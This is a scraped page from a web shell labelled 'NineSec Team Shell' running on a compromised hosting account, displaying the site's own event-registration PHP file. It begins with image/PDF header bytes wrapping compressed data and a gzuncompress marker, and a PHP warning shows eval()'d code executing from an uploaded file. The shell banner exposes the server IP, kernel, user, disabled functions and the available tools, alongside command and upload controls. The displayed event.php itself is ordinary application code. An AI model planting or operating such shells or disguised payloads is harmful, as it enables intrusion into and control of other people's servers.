JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/princess.uaeclick.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/princess.uaeclick.com/public_html/event.php
<?php 

// Include necessary files
require_once 'config/database.php';
include 'includes/header.php';

// Get event ID from URL
$event_id = isset($_GET['id']) ? intval($_GET['id']) : 0;

// Fetch event details
$event = null;
if ($event_id > 0) {
    try {
        $stmt = $pdo->prepare("SELECT * FROM events WHERE id = ?");
        $stmt->execute([$event_id]);
        $event = $stmt->fetch(PDO::FETCH_ASSOC);
    } catch (PDOException $e) {
        $error = "Unable to load event details.";
    }
}

// If no event found, redirect to events page
if (!$event) {
    header('Location: events.php');
    exit();
}

// Check if user is already registered for this event
$is_registered = false;
if (isset($_SESSION['user_id'])) {
    try {
        $stmt = $pdo->prepare("SELECT id FROM registrations WHERE user_id = ? AND event_id = ?");
        $stmt->execute([$_SESSION['user_id'], $event_id]);
        $is_registered = $stmt->rowCount() > 0;
    } catch (PDOException $e) {
        // Silently fail - don't prevent page from loading
    }
}
?>

<section class="section">
    <div class="container">
        <div style="margin-bottom: 20px;">
            <a href="events.php" class="btn">&larr; Back to Events</a>
        </div>
        
        <div class="card">
            <h1><?php echo htmlspecialchars($event['title']); ?></h1>
            
            <div style="display: flex; flex-wrap: wrap; gap: 20px; margin: 20px 0;">
                <div style="flex: 1; min-width: 200px;">
                    <strong>Date & Time:</strong><br>
                    <?php echo date('F j, Y g:i A', strtotime($event['event_date'])); ?>
                </div>
                <div style="flex: 1; min-width: 200px;">
                    <strong>Location:</strong><br>
                    <?php echo htmlspecialchars($event['location']); ?>
                </div>
                <?php if ($event['max_participants']): ?>
                <div style="flex: 1; min-width: 200px;">
                    <strong>Max Participants:</strong><br>
                    <?php echo $event['max_participants']; ?>
                </div>
                <?php endif; ?>
            </div>
            
            <div style="margin: 20px 0;">
                <h3>Event Description</h3>
                <p><?php echo nl2br(htmlspecialchars($event['description'])); ?></p>
            </div>
            
            <div style="margin: 30px 0; text-align: center;">
                <?php if (isset($_SESSION['user_id'])): ?>
                    <?php if ($is_registered): ?>
                        <div style="background-color: #e8f5e9; color: #2e7d32; padding: 15px; border-radius: 5px;">
                            <p>You are already registered for this event!</p>
                            <a href="events.php" class="btn">View Other Events</a>
                        </div>
                    <?php else: ?>
                        <form method="POST" action="register_event.php">
                            <input type="hidden" name="event_id" value="<?php echo $event_id; ?>">
                            <button type="submit" class="btn btn-primary" style="font-size: 1.2rem; padding: 15px 30px;">
                                Register for This Event
                            </button>
                        </form>
                    <?php endif; ?>
                <?php else: ?>
                    <div style="background-color: #fff3cd; color: #856404; padding: 15px; border-radius: 5px;">
                        <p>You need to be logged in to register for this event.</p>
                        <div style="margin-top: 15px;">
                            <a href="login.php" class="btn btn-primary">Login</a>
                            <a href="register.php" class="btn">Register New Account</a>
                        </div>
                    </div>
                <?php endif; ?>
            </div>
        </div>
        
        <!-- Event Photos Section -->
        <div class="card">
            <h3>Event Photos</h3>
            <div class="photo-gallery">
                <div class="photo-item">
                    <img src="images/event1.jpg" alt="Event preparation" class="gallery-image">
                    <div class="photo-caption">Event Preparation</div>
                </div>
                <div class="photo-item">
                    <img src="images/event2.jpg" alt="Previous event" class="gallery-image">
                    <div class="photo-caption">Previous Event</div>
                </div>
                <div class="photo-item">
                    <img src="images/event3.jpg" alt="Community gathering" class="gallery-image">
                    <div class="photo-caption">Community Gathering</div>
                </div>
            </div>
        </div>
    </div>
</section>

<!-- Image Modal -->
<div id="imageModal" class="modal">
    <span class="close">&times;</span>
    <img class="modal-content" id="modalImage">
    <div id="modalCaption"></div>
</div>

<style>
    .photo-gallery {
        display: grid;
        grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
        gap: 20px;
        margin-top: 20px;
    }

    .photo-item {
        position: relative;
        overflow: hidden;
        border-radius: 10px;
        box-shadow: 0 5px 15px rgba(0,0,0,0.1);
        cursor: pointer;
    }

    .photo-item img {
        width: 100%;
        height: 200px;
        object-fit: cover;
        transition: transform 0.3s;
    }

    .photo-item:hover img {
        transform: scale(1.05);
    }

    .photo-caption {
        position: absolute;
        bottom: 0;
        left: 0;
        right: 0;
        background: rgba(0,0,0,0.7);
        color: white;
        padding: 10px;
        text-align: center;
    }

    /* Modal Styles */
    .modal {
        display: none;
        position: fixed;
        z-index: 1000;
        padding-top: 60px;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        overflow: auto;
        background-color: rgba(0,0,0,0.9);
    }

    .modal-content {
        margin: auto;
        display: block;
        width: 80%;
        max-width: 700px;
        max-height: 80vh;
        object-fit: contain;
    }

    #modalCaption {
        margin: auto;
        display: block;
        width: 80%;
        max-width: 700px;
        text-align: center;
        color: #ccc;
        padding: 10px 0;
    }

    .close {
        position: absolute;
        top: 15px;
        right: 35px;
        color: #f1f1f1;
        font-size: 40px;
        font-weight: bold;
        cursor: pointer;
    }

    .close:hover {
        color: #bbb;
    }
</style>

<script>
    // Image Modal Functionality
    document.addEventListener('DOMContentLoaded', function() {
        var modal = document.getElementById("imageModal");
        var modalImg = document.getElementById("modalImage");
        var captionText = document.getElementById("modalCaption");
        
        var galleryImages = document.querySelectorAll('.gallery-image');
        
        galleryImages.forEach(function(img) {
            img.addEventListener('click', function() {
                modal.style.display = "block";
                modalImg.src = this.src;
                captionText.innerHTML = this.alt;
            });
        });
        
        var span = document.getElementsByClassName("close")[0];
        
        span.onclick = function() {
            modal.style.display = "none";
        }
        
        window.onclick = function(event) {
            if (event.target == modal) {
                modal.style.display = "none";
            }
        }
        
        document.addEventListener('keydown', function(event) {
            if (event.key === "Escape") {
                modal.style.display = "none";
            }
        });
    });
</script>

<?php include 'includes/footer.php'; ?>

NineSec Team - 2022